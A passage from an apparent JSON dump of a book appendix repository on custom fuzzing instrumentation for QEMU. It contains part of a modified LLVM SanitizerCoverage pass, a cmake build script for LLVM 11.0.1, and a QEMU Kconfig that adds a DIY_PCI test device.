!Allowlist->inSection(\"coverage\", \"src\", M.getSourceFileName()))\n    return false;\n  if (Blocklist &&\n      Blocklist->inSection(\"coverage\", \"src\", M.getSourceFileName()))\n    return false;\n  C = &(M.getContext());\n  DL = &M.getDataLayout();\n  CurModule = &M;\n  CurModuleUniqueId = getUniqueModuleId(CurModule);\n  TargetTriple = Triple(M.getTargetTriple());\n  FunctionGuardArray = nullptr;\n  Function8bitCounterArray = nullptr;\n  FunctionBoolArray = nullptr;\n  FunctionPCsArray = nullptr;\n  IntptrTy = Type::getIntNTy(*C, DL->getPointerSizeInBits());\n  IntptrPtrTy = PointerType::getUnqual(IntptrTy);\n  Type *VoidTy = Type::getVoidTy(*C);\n  IRBuilder<> IRB(*C);\n  Int64PtrTy = PointerType::getUnqual(IRB.getInt64Ty());\n  Int32PtrTy = PointerType::getUnqual(IRB.getInt32Ty());\n  Int8PtrTy = PointerType::getUnqual(IRB.getInt8Ty());\n  Int1PtrTy = PointerType::getUnqual(IRB.getInt1Ty());\n  Int64Ty = IRB.getInt64Ty();\n  Int32Ty = IRB.getInt32Ty();\n  Int16Ty = IRB.getInt16Ty();\n  Int8Ty = IRB.getInt8Ty();\n  Int1Ty = IRB.getInt1Ty();\n\n  SanCovTracePCIndir =\n      M.getOrInsertFunction(SanCovTracePCIndirName, VoidTy, IntptrTy);\n  // Make sure smaller parameters are zero-extended to i64 as required by the\n  // x86_64 ABI.\n  AttributeList SanCovTraceCmpZeroExtAL;\n  if (TargetTriple.getArch() == Triple::x86_64) {\n    SanCovTraceCmpZeroExtAL =\n        SanCovTraceCmpZeroExtAL.addParamAttribute(*C, 0, Attribute::ZExt);\n    SanCovTraceCmpZeroExtAL =\n        SanCovTraceCmpZeroExtAL.addParamAttribute(*C, 1, Attribute::ZExt);\n  }\n\n  SanCovTraceCmpFunction[0] =\n      M.getOrInsertFunction(SanCovTraceCmp1, SanCovTraceCmpZeroExtAL, VoidTy,\n                            IRB.getInt8Ty(), IRB.getInt8Ty());\n  SanCovTraceCmpFunction[1] =\n      M.getOrInsertFunction(SanCovTraceCmp2, SanCovTraceCmpZeroExtAL, VoidTy,\n                            IRB.getInt16Ty(), IRB.getInt16Ty());\n  SanCovTraceCmpFunction[2] =\n      M.getOrInsertFunction(SanCovTraceCmp4, SanCovTraceCmpZeroExtAL, VoidTy,\n                            IRB.getInt32Ty(), IRB.getInt32Ty());\n  SanCovTraceCmpFunction[3] =\n      M.getOrInsertFunction(SanCovTraceCmp8, VoidTy, Int64Ty, Int64Ty);\n\n  SanCovTraceConstCmpFunction[0] = M.getOrInsertFunction(\n      SanCovTraceConstCmp1, SanCovTraceCmpZeroExtAL, VoidTy, Int8Ty, Int8Ty);\n  SanCovTraceConstCmpFunction[1] = M.getOrInsertFunction(\n      SanCovTraceConstCmp2, SanCovTraceCmpZeroExtAL, VoidTy, Int16Ty, Int16Ty);\n  SanCovTraceConstCmpFunction[2] = M.getOrInsertFunction(\n      SanCovTraceConstCmp4, SanCovTraceCmpZeroExtAL, VoidTy, Int32Ty, Int32Ty);\n  SanCovTraceConstCmpFunction[3] =\n      M.getOrInsertFunction(SanCovTraceConstCmp8, VoidTy, Int64Ty, Int64Ty);\n\n  {\n    AttributeList AL;\n    if (TargetTriple.getArch() == Triple::x86_64)\n      AL = AL.addParamAttribute(*C, 0, Attribute::ZExt);\n    SanCovTraceDivFunction[0] =\n        M.getOrInsertFunction(SanCovTraceDiv4, AL, VoidTy, IRB.getInt32Ty());\n  }\n  SanCovTraceDivFunction[1] =\n      M.getOrInsertFunction(SanCovTraceDiv8, VoidTy, Int64Ty);\n  SanCovTraceGepFunction =\n      M.getOrInsertFunction(SanCovTraceGep, VoidTy, IntptrTy);\n  SanCovTraceSwitchFunction =\n      M.getOrInsertFunction(SanCovTraceSwitchName, VoidTy, Int64Ty, Int64PtrTy);\n\n  Constant *SanCovLowestStackConstant =\n      M.getOrInsertGlobal(SanCovLowestStackName, IntptrTy);\n  SanCovLowestStack = dyn_cast<GlobalVariable>(SanCovLowestStackConstant);\n  if (!SanCovLowestStack) {\n    C->emitError(StringRef(\"'\") + SanCovLowestStackName +\n                 \"' should not be declared by the user\");\n    return true;\n  }\n  SanCovLowestStack->setThreadLocalMode(\n      GlobalValue::ThreadLocalMode::InitialExecTLSModel);\n  if (Options.StackDepth && !SanCovLowestStack->isDeclaration())\n    SanCovLowestStack->setInitializer(Constant::getAllOnesValue(IntptrTy));\n\n  SanCovTracePC = M.getOrInsertFunction(SanCovTracePCName, VoidTy);\n  SanCovTracePCGuard =\n      M.getOrInsertFunction(SanCovTracePCGuardName, VoidTy, Int32PtrTy, Int32PtrTy, Int32PtrTy);\n\n  for (auto &F : M)\n    instrumentFunction(F, DTCallback, PDTCallback);\n\n  Function *Ctor = nullptr;\n\n  if (FunctionGuardArray)\n    Ctor = CreateInitCallsForSections(M, SanCovModuleCtorTracePcGuardName,\n                                      SanCovTracePCGuardInitName, Int32PtrTy,\n                                      SanCovGuardsSectionName);\n  if (Function8bitCounterArray)\n    Ctor = CreateInitCallsForSections(M, SanCovModuleCtor8bitCountersName,\n                                      SanCov8bitCountersInitName, Int8PtrTy,\n                                      SanCovCountersSectionName);\n  if (FunctionBoolArray) {\n    Ctor = CreateInitCallsForSections(M, SanCovModuleCtorBoolFlagName,\n                                      SanCovBoolFlagInitName, Int1PtrTy,\n                                      SanCovBoolFlagSectionName);\n  }\n  if (Ctor && Options.PCTable) {\n    auto SecStartEnd = CreateSecStartEnd(M, SanCovPCsSectionName, IntptrPtrTy);\n    FunctionCallee InitFunction = declareSanitizerInitFunction(\n        M, SanCovPCsInitName, {IntptrPtrTy, IntptrPtrTy});\n    IRBuilder<> IRBCtor(Ctor->getEntryBlock().getTerminator());\n    IRBCtor.CreateCall(InitFunction, {SecStartEnd.first, SecStartEnd.second});\n  }\n  // We don't reference these arrays directly in any of our runtime functions,\n  // so we need to prevent them from being dead stripped.\n  if (TargetTriple.isOSBinFormatMachO())\n    appendToUsed(M, GlobalsToAppendToUsed);\n  appendToCompilerUsed(M, GlobalsToAppendToCompilerUsed);\n  return true;\n}\n\n// True if block has successors and it dominates all of them.\nstatic bool isFullDominator(const BasicBlock *BB, const DominatorTree *DT) {\n  if (succ_begin(BB) == succ_end(BB))\n    return false;\n\n  for (const BasicBlock *SUCC : make_range(succ_begin(BB), succ_end(BB))) {\n    if (!DT->dominates(BB, SUCC))\n      return false;\n  }\n\n  return true;\n}\n\n// True if block has predecessors and it postdominates all of them.\nstatic bool isFullPostDominator(const BasicBlock *BB,\n                                const PostDominatorTree *PDT) {\n  if (pred_begin(BB) == pred_end(BB))\n    return false;\n\n  for (const BasicBlock *PRED : make_range(pred_begin(BB), pred_end(BB))) {\n    if (!PDT->dominates(BB, PRED))\n      return false;\n  }\n\n  return true;\n}\n\nstatic bool shouldInstrumentBlock(const Function &F, const BasicBlock *BB,\n                                  const DominatorTree *DT,\n                                  const PostDominatorTree *PDT,\n                                  const SanitizerCoverageOptions &Options) {\n  // Don't insert coverage for blocks containing nothing but unreachable: we\n  // will never call __sanitizer_cov() for them, so counting them in\n  // NumberOfInstrumentedBlocks() might complicate calculation of code coverage\n  // percentage. Also, unreachable instructions frequently have no debug\n  // locations.\n  if (isa<UnreachableInst>(BB->getFirstNonPHIOrDbgOrLifetime()))\n    return false;\n\n  // Don't insert coverage into blocks without a valid insertion point\n  // (catchswitch blocks).\n  if (BB->getFirstInsertionPt() == BB->end())\n    return false;\n\n  if (Options.NoPrune || &F.getEntryBlock() == BB)\n    return true;\n\n  if (Options.CoverageType == SanitizerCoverageOptions::SCK_Function &&\n      &F.getEntryBlock() != BB)\n    return false;\n\n  // Do not instrument full dominators, or full post-dominators with multiple\n  // predecessors.\n  return !isFullDominator(BB, DT)\n    && !(isFullPostDominator(BB, PDT) && !BB->getSinglePredecessor());\n}\n\n\n// Returns true iff From->To is a backedge.\n// A twist here is that we treat From->To as a backedge if\n//   * To dominates From or\n//   * To->UniqueSuccessor dominates From\nstatic bool IsBackEdge(BasicBlock *From, BasicBlock *To,\n                       const DominatorTree *DT) {\n  if (DT->dominates(To, From))\n    return true;\n  if (auto Next = To->getUniqueSuccessor())\n    if (DT->dominates(Next, From))\n      return true;\n  return false;\n}\n\n// Prunes uninteresting Cmp instrumentation:\n//   * CMP instructions that feed into loop backedge branch.\n//\n// Note that Cmp pruning is controlled by the same flag as the\n// BB pruning.\nstatic bool IsInterestingCmp(ICmpInst *CMP, const DominatorTree *DT,\n                             const SanitizerCoverageOptions &Options) {\n  if (!Options.NoPrune)\n    if (CMP->hasOneUse())\n      if (auto BR = dyn_cast<BranchInst>(CMP->user_back()))\n        for (BasicBlock *B : BR->successors())\n          if (IsBackEdge(BR->getParent(), B, DT))\n            return false;\n  return true;\n}\n\nvoid ModuleSanitizerCoverage::instrumentFunction(\n    Function &F, DomTreeCallback DTCallback, PostDomTreeCallback PDTCallback) {\n  if (F.empty())\n    return;\n  if (F.getName().find(\".module_ctor\") != std::string::npos)\n    return; // Should not instrument sanitizer init functions.\n  if (F.getName().startswith(\"__sanitizer_\"))\n    return; // Don't instrument __sanitizer_* callbacks.\n  // Don't touch available_externally functions, their actual body is elewhere.\n  if (F.getLinkage() == GlobalValue::AvailableExternallyLinkage)\n    return;\n  // Don't instrument MSVC CRT configuration helpers. They may run before normal\n  // initialization.\n  if (F.getName() == \"__local_stdio_printf_options\" ||\n      F.getName() == \"__local_stdio_scanf_options\")\n    return;\n  if (isa<UnreachableInst>(F.getEntryBlock().getTerminator()))\n    return;\n  // Don't instrument functions using SEH for now. Splitting basic blocks like\n  // we do for coverage breaks WinEHPrepare.\n  // FIXME: Remove this when SEH no longer uses landingpad pattern matching.\n  if (F.hasPersonalityFn() &&\n      isAsynchronousEHPersonality(classifyEHPersonality(F.getPersonalityFn())))\n    return;\n  if (Allowlist && !Allowlist->inSection(\"coverage\", \"fun\", F.getName()))\n    return;\n  if (Blocklist && Blocklist->inSection(\"coverage\", \"fun\", F.getName()))\n    return;\n  if (Options.CoverageType >= SanitizerCoverageOptions::SCK_Edge)\n    SplitAllCriticalEdges(F, CriticalEdgeSplittingOptions().setIgnoreUnreachableDests());\n  SmallVector<Instruction *, 8> IndirCalls;\n  SmallVector<BasicBlock *, 16> BlocksToInstrument;\n  SmallVector<Instruction *, 8> CmpTraceTargets;\n  SmallVector<Instruction *, 8> SwitchTraceTargets;\n  SmallVector<BinaryOperator *, 8> DivTraceTargets;\n  SmallVector<GetElementPtrInst *, 8> GepTraceTargets;\n\n  const DominatorTree *DT = DTCallback(F);\n  const PostDominatorTree *PDT = PDTCallback(F);\n  bool IsLeafFunc = true;\n\n  for (auto &BB : F) {\n    if (shouldInstrumentBlock(F, &BB, DT, PDT, Options))\n      BlocksToInstrument.push_back(&BB);\n    for (auto &Inst : BB) {\n      if (Options.IndirectCalls) {\n        CallBase *CB = dyn_cast<CallBase>(&Inst);\n        if (CB && !CB->getCalledFunction())\n          IndirCalls.push_back(&Inst);\n      }\n      if (Options.TraceCmp) {\n        if (ICmpInst *CMP = dyn_cast<ICmpInst>(&Inst))\n          if (IsInterestingCmp(CMP, DT, Options))\n            CmpTraceTargets.push_back(&Inst);\n        if (isa<SwitchInst>(&Inst))\n          SwitchTraceTargets.push_back(&Inst);\n      }\n      if (Options.TraceDiv)\n        if (BinaryOperator *BO = dyn_cast<BinaryOperator>(&Inst))\n          if (BO->getOpcode() == Instruction::SDiv ||\n              BO->getOpcode() == Instruction::UDiv)\n            DivTraceTargets.push_back(BO);\n      if (Options.TraceGep)\n        if (GetElementPtrInst *GEP = dyn_cast<GetElementPtrInst>(&Inst))\n          GepTraceTargets.push_back(GEP);\n      if (Options.StackDepth)\n        if (isa<InvokeInst>(Inst) ||\n            (isa<CallInst>(Inst) && !isa<IntrinsicInst>(Inst)))\n          IsLeafFunc = false;\n    }\n  }\n\n\n\n  InjectCoverage(F, BlocksToInstrument, IsLeafFunc);\n  InjectCoverageForIndirectCalls(F, IndirCalls);\n  InjectTraceForCmp(F, CmpTraceTargets);\n  InjectTraceForSwitch(F, SwitchTraceTargets);\n  InjectTraceForDiv(F, DivTraceTargets);\n  InjectTraceForGep(F, GepTraceTargets);\n}\n\nGlobalVariable *ModuleSanitizerCoverage::CreateFunctionLocalArrayInSection(\n    size_t NumElements, Function &F, Type *Ty, const char *Section) {\n  ArrayType *ArrayTy = ArrayType::get(Ty, NumElements);\n  auto Array = new GlobalVariable(\n      *CurModule, ArrayTy, false, GlobalVariable::PrivateLinkage,\n      Constant::getNullValue(ArrayTy), \"__sancov_gen_\");\n\n  if (TargetTriple.supportsCOMDAT() && !F.isInterposable())\n    if (auto Comdat =\n            GetOrCreateFunctionComdat(F, TargetTriple, CurModuleUniqueId))\n      Array->setComdat(Comdat);\n  Array->setSection(getSectionName(Section));\n  Array->setAlignment(Align(DL->getTypeStoreSize(Ty).getFixedSize()));\n  GlobalsToAppendToUsed.push_back(Array);\n  GlobalsToAppendToCompilerUsed.push_back(Array);\n  MDNode *MD = MDNode::get(F.getContext(), ValueAsMetadata::get(&F));\n  Array->addMetadata(LLVMContext::MD_associated, *MD);\n\n  return Array;\n}\n\nGlobalVariable *\nModuleSanitizerCoverage::CreatePCArray(Function &F,\n                                       ArrayRef<BasicBlock *> AllBlocks) {\n  size_t N = AllBlocks.size();\n  assert(N);\n  SmallVector<Constant *, 32> PCs;\n  IRBuilder<> IRB(&*F.getEntryBlock().getFirstInsertionPt());\n  for (size_t i = 0; i < N; i++) {\n    if (&F.getEntryBlock() == AllBlocks[i]) {\n      PCs.push_back((Constant *)IRB.CreatePointerCast(&F, IntptrPtrTy));\n      PCs.push_back((Constant *)IRB.CreateIntToPtr(\n          ConstantInt::get(IntptrTy, 1), IntptrPtrTy));\n    } else {\n      PCs.push_back((Constant *)IRB.CreatePointerCast(\n          BlockAddress::get(AllBlocks[i]), IntptrPtrTy));\n      PCs.push_back((Constant *)IRB.CreateIntToPtr(\n          ConstantInt::get(IntptrTy, 0), IntptrPtrTy));\n    }\n  }\n  auto *PCArray = CreateFunctionLocalArrayInSection(N * 2, F, IntptrPtrTy,\n                                                    SanCovPCsSectionName);\n  PCArray->setInitializer(\n      ConstantArray::get(ArrayType::get(IntptrPtrTy, N * 2), PCs));\n  PCArray->setConstant(true);\n\n  return PCArray;\n}\n\nvoid ModuleSanitizerCoverage::CreateFunctionLocalArrays(\n    Function &F, ArrayRef<BasicBlock *> AllBlocks) {\n  if (Options.TracePCGuard)\n    FunctionGuardArray = CreateFunctionLocalArrayInSection(\n        AllBlocks.size(), F, Int32Ty, SanCovGuardsSectionName);\n\n  if (Options.Inline8bitCounters)\n    Function8bitCounterArray = CreateFunctionLocalArrayInSection(\n        AllBlocks.size(), F, Int8Ty, SanCovCountersSectionName);\n  if (Options.InlineBoolFlag)\n    FunctionBoolArray = CreateFunctionLocalArrayInSection(\n        AllBlocks.size(), F, Int1Ty, SanCovBoolFlagSectionName);\n\n  if (Options.PCTable)\n    FunctionPCsArray = CreatePCArray(F, AllBlocks);\n}\n\nbool ModuleSanitizerCoverage::InjectCoverage(Function &F,\n                                             ArrayRef<BasicBlock *> AllBlocks,\n                                             bool IsLeafFunc) {\n  if (AllBlocks.empty()) return false;\n  CreateFunctionLocalArrays(F, AllBlocks);\n  for (size_t i = 0, N = AllBlocks.size(); i < N; i++)\n    InjectCoverageAtBlock(F, *AllBlocks[i], i, IsLeafFunc, N);\n  return true;\n}\n\n// On every indirect call we call a run-time function\n// __sanitizer_cov_indir_call* with two parameters:\n//   - callee address,\n//   - global cache array that contains CacheSize pointers (zero-initialized).\n//     The cache is used to speed up recording the caller-callee pairs.\n// The address of the caller is passed implicitly via caller PC.\n// CacheSize is encoded in the name of the run-time function.\nvoid ModuleSanitizerCoverage::InjectCoverageForIndirectCalls(\n    Function &F, ArrayRef<Instruction *> IndirCalls) {\n  if (IndirCalls.empty())\n    return;\n  assert(Options.TracePC || Options.TracePCGuard ||\n         Options.Inline8bitCounters || Options.InlineBoolFlag);\n  for (auto I : IndirCalls) {\n    IRBuilder<> IRB(I);\n    CallBase &CB = cast<CallBase>(*I);\n    Value *Callee = CB.getCalledOperand();\n    if (isa<InlineAsm>(Callee))\n      continue;\n    IRB.CreateCall(SanCovTracePCIndir, IRB.CreatePointerCast(Callee, IntptrTy));\n  }\n}\n\n// For every switch statement we insert a call:\n// __sanitizer_cov_trace_switch(CondValue,\n//      {NumCases, ValueSizeInBits, Case0Value, Case1Value, Case2Value, ... })\n\nvoid ModuleSanitizerCoverage::InjectTraceForSwitch(\n    Function &, ArrayRef<Instruction *> SwitchTraceTargets) {\n  for (auto I : SwitchTraceTargets) {\n    if (SwitchInst *SI = dyn_cast<SwitchInst>(I)) {\n      IRBuilder<> IRB(I);\n      SmallVector<Constant *, 16> Initializers;\n      Value *Cond = SI->getCondition();\n      if (Cond->getType()->getScalarSizeInBits() >\n          Int64Ty->getScalarSizeInBits())\n        continue;\n      Initializers.push_back(ConstantInt::get(Int64Ty, SI->getNumCases()));\n      Initializers.push_back(\n          ConstantInt::get(Int64Ty, Cond->getType()->getScalarSizeInBits()));\n      if (Cond->getType()->getScalarSizeInBits() <\n          Int64Ty->getScalarSizeInBits())\n        Cond = IRB.CreateIntCast(Cond, Int64Ty, false);\n      for (auto It : SI->cases()) {\n        Constant *C = It.getCaseValue();\n        if (C->getType()->getScalarSizeInBits() <\n            Int64Ty->getScalarSizeInBits())\n          C = ConstantExpr::getCast(CastInst::ZExt, It.getCaseValue(), Int64Ty);\n        Initializers.push_back(C);\n      }\n      llvm::sort(Initializers.begin() + 2, Initializers.end(),\n                 [](const Constant *A, const Constant *B) {\n                   return cast<ConstantInt>(A)->getLimitedValue() <\n                          cast<ConstantInt>(B)->getLimitedValue();\n                 });\n      ArrayType *ArrayOfInt64Ty = ArrayType::get(Int64Ty, Initializers.size());\n      GlobalVariable *GV = new GlobalVariable(\n          *CurModule, ArrayOfInt64Ty, false, GlobalVariable::InternalLinkage,\n          ConstantArray::get(ArrayOfInt64Ty, Initializers),\n          \"__sancov_gen_cov_switch_values\");\n      IRB.CreateCall(SanCovTraceSwitchFunction,\n                     {Cond, IRB.CreatePointerCast(GV, Int64PtrTy)});\n    }\n  }\n}\n\nvoid ModuleSanitizerCoverage::InjectTraceForDiv(\n    Function &, ArrayRef<BinaryOperator *> DivTraceTargets) {\n  for (auto BO : DivTraceTargets) {\n    IRBuilder<> IRB(BO);\n    Value *A1 = BO->getOperand(1);\n    if (isa<ConstantInt>(A1)) continue;\n    if (!A1->getType()->isIntegerTy())\n      continue;\n    uint64_t TypeSize = DL->getTypeStoreSizeInBits(A1->getType());\n    int CallbackIdx = TypeSize == 32 ? 0 :\n        TypeSize == 64 ? 1 : -1;\n    if (CallbackIdx < 0) continue;\n    auto Ty = Type::getIntNTy(*C, TypeSize);\n    IRB.CreateCall(SanCovTraceDivFunction[CallbackIdx],\n                   {IRB.CreateIntCast(A1, Ty, true)});\n  }\n}\n\nvoid ModuleSanitizerCoverage::InjectTraceForGep(\n    Function &, ArrayRef<GetElementPtrInst *> GepTraceTargets) {\n  for (auto GEP : GepTraceTargets) {\n    IRBuilder<> IRB(GEP);\n    for (auto I = GEP->idx_begin(); I != GEP->idx_end(); ++I)\n      if (!isa<ConstantInt>(*I) && (*I)->getType()->isIntegerTy())\n        IRB.CreateCall(SanCovTraceGepFunction,\n                       {IRB.CreateIntCast(*I, IntptrTy, true)});\n  }\n}\n\nvoid ModuleSanitizerCoverage::InjectTraceForCmp(\n    Function &, ArrayRef<Instruction *> CmpTraceTargets) {\n  for (auto I : CmpTraceTargets) {\n    if (ICmpInst *ICMP = dyn_cast<ICmpInst>(I)) {\n      IRBuilder<> IRB(ICMP);\n      Value *A0 = ICMP->getOperand(0);\n      Value *A1 = ICMP->getOperand(1);\n      if (!A0->getType()->isIntegerTy())\n        continue;\n      uint64_t TypeSize = DL->getTypeStoreSizeInBits(A0->getType());\n      int CallbackIdx = TypeSize == 8 ? 0 :\n                        TypeSize == 16 ? 1 :\n                        TypeSize == 32 ? 2 :\n                        TypeSize == 64 ? 3 : -1;\n      if (CallbackIdx < 0) continue;\n      // __sanitizer_cov_trace_cmp((type_size << 32) | predicate, A0, A1);\n      auto CallbackFunc = SanCovTraceCmpFunction[CallbackIdx];\n      bool FirstIsConst = isa<ConstantInt>(A0);\n      bool SecondIsConst = isa<ConstantInt>(A1);\n      // If both are const, then we don't need such a comparison.\n      if (FirstIsConst && SecondIsConst) continue;\n      // If only one is const, then make it the first callback argument.\n      if (FirstIsConst || SecondIsConst) {\n        CallbackFunc = SanCovTraceConstCmpFunction[CallbackIdx];\n        if (SecondIsConst)\n          std::swap(A0, A1);\n      }\n\n      auto Ty = Type::getIntNTy(*C, TypeSize);\n      IRB.CreateCall(CallbackFunc, {IRB.CreateIntCast(A0, Ty, true),\n              IRB.CreateIntCast(A1, Ty, true)});\n    }\n  }\n}\n\nvoid ModuleSanitizerCoverage::InjectCoverageAtBlock(Function &F, BasicBlock &BB,\n                                                    size_t Idx,\n                                                    bool IsLeafFunc,\n                                                    size_t EdgeCount) {\n  BasicBlock::iterator IP = BB.getFirstInsertionPt();\n  bool IsEntryBB = &BB == &F.getEntryBlock();\n  DebugLoc EntryLoc;\n  if (IsEntryBB) {\n    if (auto SP = F.getSubprogram())\n      EntryLoc = DebugLoc::get(SP->getScopeLine(), 0, SP);\n    // Keep static allocas and llvm.localescape calls in the entry block.  Even\n    // if we aren't splitting the block, it's nice for allocas to be before\n    // calls.\n    IP = PrepareToSplitEntryBlock(BB, IP);\n  } else {\n    EntryLoc = IP->getDebugLoc();\n  }\n\n  IRBuilder<> IRB(&*IP);\n  IRB.SetCurrentDebugLocation(EntryLoc);\n  if (Options.TracePC) {\n    IRB.CreateCall(SanCovTracePC)\n        ->setCannotMerge(); // gets the PC using GET_CALLER_PC.\n  }\n  if (Options.TracePCGuard) {\n    std::vector<Value*> SanCovTracePCGuardArgumentList;\n    auto GuardPtr = IRB.CreateIntToPtr(\n        IRB.CreateAdd(IRB.CreatePointerCast(FunctionGuardArray, IntptrTy),\n                      ConstantInt::get(IntptrTy, Idx * 4)),\n        Int32PtrTy);\n    auto FunctionPtr = IRB.CreateIntToPtr(IRB.CreatePointerCast(static_cast<Value*>(&F), IntptrTy),Int32PtrTy);\n    Constant* ConstFunctionInsideEdgeCount = ConstantInt::get(IntptrTy, EdgeCount);\n\n    SanCovTracePCGuardArgumentList.push_back(GuardPtr);\n    SanCovTracePCGuardArgumentList.push_back(ConstFunctionInsideEdgeCount);\n    SanCovTracePCGuardArgumentList.push_back(FunctionPtr);\n\n    IRB.CreateCall(SanCovTracePCGuard, static_cast<ArrayRef<Value *>>(SanCovTracePCGuardArgumentList))->setCannotMerge();\n  }\n  if (Options.Inline8bitCounters) {\n    auto CounterPtr = IRB.CreateGEP(\n        Function8bitCounterArray->getValueType(), Function8bitCounterArray,\n        {ConstantInt::get(IntptrTy, 0), ConstantInt::get(IntptrTy, Idx)});\n    auto Load = IRB.CreateLoad(Int8Ty, CounterPtr);\n    auto Inc = IRB.CreateAdd(Load, ConstantInt::get(Int8Ty, 1));\n    auto Store = IRB.CreateStore(Inc, CounterPtr);\n    SetNoSanitizeMetadata(Load);\n    SetNoSanitizeMetadata(Store);\n  }\n  if (Options.InlineBoolFlag) {\n    auto FlagPtr = IRB.CreateGEP(\n        FunctionBoolArray->getValueType(), FunctionBoolArray,\n        {ConstantInt::get(IntptrTy, 0), ConstantInt::get(IntptrTy, Idx)});\n    auto Load = IRB.CreateLoad(Int1Ty, FlagPtr);\n    auto ThenTerm =\n        SplitBlockAndInsertIfThen(IRB.CreateIsNull(Load), &*IP, false);\n    IRBuilder<> ThenIRB(ThenTerm);\n    auto Store = ThenIRB.CreateStore(ConstantInt::getTrue(Int1Ty), FlagPtr);\n    SetNoSanitizeMetadata(Load);\n    SetNoSanitizeMetadata(Store);\n  }\n  if (Options.StackDepth && IsEntryBB && !IsLeafFunc) {\n    // Check stack depth.  If it's the deepest so far, record it.\n    Module *M = F.getParent();\n    Function *GetFrameAddr = Intrinsic::getDeclaration(\n        M, Intrinsic::frameaddress,\n        IRB.getInt8PtrTy(M->getDataLayout().getAllocaAddrSpace()));\n    auto FrameAddrPtr =\n        IRB.CreateCall(GetFrameAddr, {Constant::getNullValue(Int32Ty)});\n    auto FrameAddrInt = IRB.CreatePtrToInt(FrameAddrPtr, IntptrTy);\n    auto LowestStack = IRB.CreateLoad(IntptrTy, SanCovLowestStack);\n    auto IsStackLower = IRB.CreateICmpULT(FrameAddrInt, LowestStack);\n    auto ThenTerm = SplitBlockAndInsertIfThen(IsStackLower, &*IP, false);\n    IRBuilder<> ThenIRB(ThenTerm);\n    auto Store = ThenIRB.CreateStore(FrameAddrInt, SanCovLowestStack);\n    SetNoSanitizeMetadata(LowestStack);\n    SetNoSanitizeMetadata(Store);\n  }\n}\n\nstd::string\nModuleSanitizerCoverage::getSectionName(const std::string &Section) const {\n  if (TargetTriple.isOSBinFormatCOFF()) {\n    if (Section == SanCovCountersSectionName)\n      return \".SCOV$CM\";\n    if (Section == SanCovBoolFlagSectionName)\n      return \".SCOV$BM\";\n    if (Section == SanCovPCsSectionName)\n      return \".SCOVP$M\";\n    return \".SCOV$GM\"; // For SanCovGuardsSectionName.\n  }\n  if (TargetTriple.isOSBinFormatMachO())\n    return \"__DATA,__\" + Section;\n  return \"__\" + Section;\n}\n\nstd::string\nModuleSanitizerCoverage::getSectionStart(const std::string &Section) const {\n  if (TargetTriple.isOSBinFormatMachO())\n    return \"\\1section$start$__DATA$__\" + Section;\n  return \"__start___\" + Section;\n}\n\nstd::string\nModuleSanitizerCoverage::getSectionEnd(const std::string &Section) const {\n  if (TargetTriple.isOSBinFormatMachO())\n    return \"\\1section$end$__DATA$__\" + Section;\n  return \"__stop___\" + Section;\n}\n\nchar ModuleSanitizerCoverageLegacyPass::ID = 0;\nINITIALIZE_PASS_BEGIN(ModuleSanitizerCoverageLegacyPass, \"sancov\",\n                      \"Pass for instrumenting coverage on functions\", false,\n                      false)\nINITIALIZE_PASS_DEPENDENCY(DominatorTreeWrapperPass)\nINITIALIZE_PASS_DEPENDENCY(PostDominatorTreeWrapperPass)\nINITIALIZE_PASS_END(ModuleSanitizerCoverageLegacyPass, \"sancov\",\n                    \"Pass for instrumenting coverage on functions\", false,\n                    false)\nModulePass *llvm::createModuleSanitizerCoverageLegacyPassPass(\n    const SanitizerCoverageOptions &Options,\n    const std::vector<std::string> &AllowlistFiles,\n    const std::vector<std::string> &BlocklistFiles) {\n  return new ModuleSanitizerCoverageLegacyPass(Options, AllowlistFiles,\n                                               BlocklistFiles);\n}\n"
  },
  {
    "path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/llvm-sanitizer/llvm_compile.sh",
    "content": "cmake -DCMAKE_BUILD_TYPE=Release -DLLVM_INCLUDE_TESTS=OFF -DLLVM_ENABLE_PROJECTS='clang'  ../../llvm-project-llvmorg-11.0.1/llvm\ncmake ../llvm-project-llvmorg-11.0.1/compiler-rt/ -DLLVM_CONFIG_PATH=../llvm_make/bin/llvm-config -DCMAKE_C_COMPILER='clang' -DCMAKE_C_FLAGS='-g'"
  },
  {
    "path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/qemu_diy_device/Kconfig",
    "content": "config APPLESMC\n    bool\n    depends on ISA_BUS\n\nconfig MAX111X\n    bool\n\nconfig TMP105\n    bool\n    depends on I2C\n\nconfig TMP421\n    bool\n    depends on I2C\n\nconfig ISA_DEBUG\n    bool\n    depends on ISA_BUS\n\nconfig SGA\n    bool\n    depends on ISA_BUS\n\nconfig ISA_TESTDEV\n    bool\n    default y if TEST_DEVICES\n    depends on ISA_BUS\n\nconfig PCI_TESTDEV\n    bool\n    default y if TEST_DEVICES\n    depends on PCI\n\nconfig EDU\n    bool\n    default y if TEST_DEVICES\n    depends on PCI && MSI_NONBROKEN\n\nconfig PCA9552\n    bool\n    depends on I2C\n\nconfig PL310\n    bool\n\nconfig INTEGRATOR_DEBUG\n    bool\n\nconfig A9SCU\n    bool\n\nconfig ARM11SCU\n    bool\n\nconfig MOS6522\n    bool\n\nconfig MACIO\n    bool\n    select CUDA\n    select ESCC\n    select IDE_MACIO\n    select MAC_DBDMA\n    select MAC_NVRAM\n    select MOS6522\n\nconfig IVSHMEM_DEVICE\n    bool\n    default y if PCI_DEVICES\n    depends on PCI && LINUX && IVSHMEM && MSI_NONBROKEN\n\nconfig ECCMEMCTL\n    bool\n    select ECC\n\nconfig IMX\n    bool\n    select PTIMER\n    select SSI\n    select USB_EHCI_SYSBUS\n\nconfig STM32F2XX_SYSCFG\n    bool\n\nconfig STM32F4XX_SYSCFG\n    bool\n\nconfig STM32F4XX_EXTI\n    bool\n\nconfig MIPS_ITU\n    bool\n\nconfig MPS2_FPGAIO\n    bool\n\nconfig MPS2_SCC\n    bool\n\nconfig TZ_MPC\n    bool\n\nconfig TZ_MSC\n    bool\n\nconfig TZ_PPC\n    bool\n\nconfig IOTKIT_SECCTL\n    bool\n\nconfig IOTKIT_SYSCTL\n    bool\n\nconfig IOTKIT_SYSINFO\n    bool\n\nconfig PVPANIC\n    bool\n    depends on ISA_BUS\n\nconfig AUX\n    bool\n    select I2C\n\nconfig UNIMP\n    bool\n\nconfig MAC_VIA\n    bool\n    select MOS6522\n    select ADB\n\nconfig DIY_PCI\n    bool\n    default y if TEST_DEVICES\n    depends on PCI\n\nsource macio/Kconfig\n"
  },
  {
    "path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/qemu_diy_device/Makefile.objs",
